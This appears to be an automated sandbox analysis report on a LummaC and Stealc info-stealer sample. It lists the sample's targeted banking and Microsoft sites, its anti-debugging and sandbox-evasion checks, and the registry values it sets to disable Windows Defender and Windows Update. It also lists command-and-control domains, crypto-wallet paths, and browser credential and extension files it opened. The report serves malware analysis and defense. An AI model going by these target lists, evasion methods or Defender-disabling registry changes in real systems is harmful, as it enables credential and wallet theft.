Source: Bire1g8ahY.exe, 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1460130635.00000000012F9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW;
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1460130635.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Bire1g8ahY.exe, 00000000.00000003.1411479819.0000000005B16000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696492231f
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1766251937.000000000048D000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: C:\Users\user\Desktop\Bire1g8ahY.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A789CE rdtsc 9_2_00A789CE
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_008FB96C LdrInitializeThunk, 9_2_008FB96C
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132, type: MEMORYSTR
LummaC encrypted strings found
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: rapeflowwj.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crosshuaht.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: sustainskelet.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: aspecteirs.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: energyaffai.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacebudi.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: discokeyus.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: grannyejh.lat
Source: Bire1g8ahY.exe, 00000000.00000003.1302161566.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: sweepyribs.lat
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmp Binary or memory string: *Program Manager
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1766673246.00000000004D0000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: EProgram Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1484568969.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: Bire1g8ahY.exe PID: 7312, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1765472956.00000000000C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1678261591.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum\wallets
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Bire1g8ahY.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Bire1g8ahY.exe, 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: Bire1g8ahY.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Bire1g8ahY.exe, 00000000.00000003.1459876649.0000000001341000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
